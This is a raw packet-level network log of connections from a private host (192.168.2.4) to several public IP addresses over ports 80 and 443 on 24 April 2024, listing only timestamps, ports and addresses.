Apr 24, 2024 18:52:02.104857922 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.111702919 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.111792088 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.111851931 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.340320110 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.409492016 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:02.722640038 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:02.722738028 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:02.745238066 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.042542934 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.042593956 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.042661905 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.055113077 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.055156946 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.255022049 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.388571024 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.388643026 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.442742109 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.442771912 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.443121910 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.443182945 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.444464922 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.488112926 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.636012077 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.636066914 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.636131048 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.636132002 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.885756016 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.885819912 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.885849953 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.885862112 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.885890007 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:03.885895967 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.885929108 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.885948896 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:03.946086884 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.946135998 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.946167946 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.946245909 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.946388006 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.946444988 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:03.946453094 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.946505070 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:03.946505070 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.042201042 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.042260885 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.042304993 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.042305946 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.042344093 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.042387009 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.070614100 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.070691109 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.070708036 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.070827961 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.070842028 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.071001053 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.071131945 CEST	49737	443	192.168.2.4	96.17.209.196
Apr 24, 2024 18:52:04.071160078 CEST	443	49737	96.17.209.196	192.168.2.4
Apr 24, 2024 18:52:04.110439062 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:04.110474110 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:04.110554934 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:04.110918999 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:04.110934973 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:04.251959085 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252012014 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252085924 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.252120972 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252170086 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252183914 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.252213001 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.252285957 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252325058 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252389908 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.252434015 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252510071 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.252564907 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557264090 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557287931 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557307005 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557326078 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557379961 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557385921 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557440042 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557442904 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557477951 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557512045 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557526112 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557526112 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557584047 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557631016 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557672024 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557718992 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557723999 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557780981 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557781935 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557802916 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.557830095 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.557851076 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.558010101 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.558064938 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.558093071 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.558128119 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.558186054 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:04.558187962 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:04.558243036 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.122148991 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.122235060 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.125963926 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.125978947 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.126327991 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.126383066 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.126904964 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.155184031 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.155251980 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.172126055 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.461280107 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.461328983 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.461366892 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.461396933 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.461427927 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.461431980 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.461466074 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.461471081 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.461508989 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.767788887 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.767846107 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.767855883 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.767883062 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.767911911 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.767924070 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.767930984 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.767965078 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.767971039 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.768001080 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.768012047 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.768045902 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.768050909 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.768084049 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:05.768132925 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.768132925 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:05.776084900 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.776195049 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.776232004 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.776264906 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.857340097 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.857367039 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.891340971 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.891382933 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:05.891453028 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.891680956 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:05.891695976 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:06.075172901 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075201988 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075239897 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075268984 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075293064 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075314045 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075341940 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075345039 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075371027 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075411081 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075428963 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075464964 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075483084 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075525045 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.075575113 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.075611115 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.380620003 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.380723000 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.380783081 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.380800962 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.380820990 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.380848885 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.380860090 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.380870104 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.380903006 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.381119967 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.381172895 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.381438017 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.381475925 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.381484985 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.381517887 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.381593943 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.381633043 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.381679058 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.546042919 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:06.547600985 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:06.686546087 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686604023 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686647892 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686707020 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686745882 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686744928 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686784029 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686790943 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686790943 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686822891 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686835051 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686878920 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686880112 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686918974 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686923027 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686958075 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.686963081 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.686997890 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.687001944 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.687040091 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992372990 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992423058 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992460966 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992469072 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992491961 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992499113 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992511034 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992543936 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992563963 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992602110 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992608070 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992640972 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.992646933 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.992685080 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.993104935 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.993144035 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.993177891 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.993186951 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.993199110 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.993238926 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.993248940 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.993278027 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:06.993283033 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:06.993323088 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298260927 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298322916 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298362970 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298374891 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298374891 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298424006 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298463106 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298476934 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298476934 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298501015 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298504114 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298541069 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298552036 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298593044 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298676014 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298713923 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298729897 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298753023 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298764944 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298791885 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298818111 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298837900 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.298866034 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.298916101 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604418039 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604489088 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604516983 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604547977 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604617119 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604681969 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604708910 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604739904 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604762077 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604829073 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604851961 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.604875088 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.604911089 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605030060 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605056047 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605079889 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605081081 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605107069 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605122089 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605211020 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605262995 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605578899 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605602980 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.605628014 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.605653048 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.900793076 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:07.900830030 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:07.907361984 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:07.907371044 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:07.910058022 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910119057 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910123110 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910166025 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910168886 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910203934 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910204887 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910244942 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910244942 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910284042 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910285950 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910340071 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910362959 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910401106 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910415888 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910454988 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910454988 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910491943 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910496950 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910531998 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910551071 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910572052 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910573006 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910607100 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910662889 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910705090 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:07.910850048 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:07.910916090 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.215698957 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.215779066 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.215792894 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.215857983 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.215881109 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.215902090 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.215912104 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.215946913 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.215955973 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.215997934 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216029882 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216074944 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216568947 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216615915 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216624975 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216670036 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216696978 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216748953 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216787100 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216825962 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216839075 CEST	49736	80	192.168.2.4	211.171.233.129
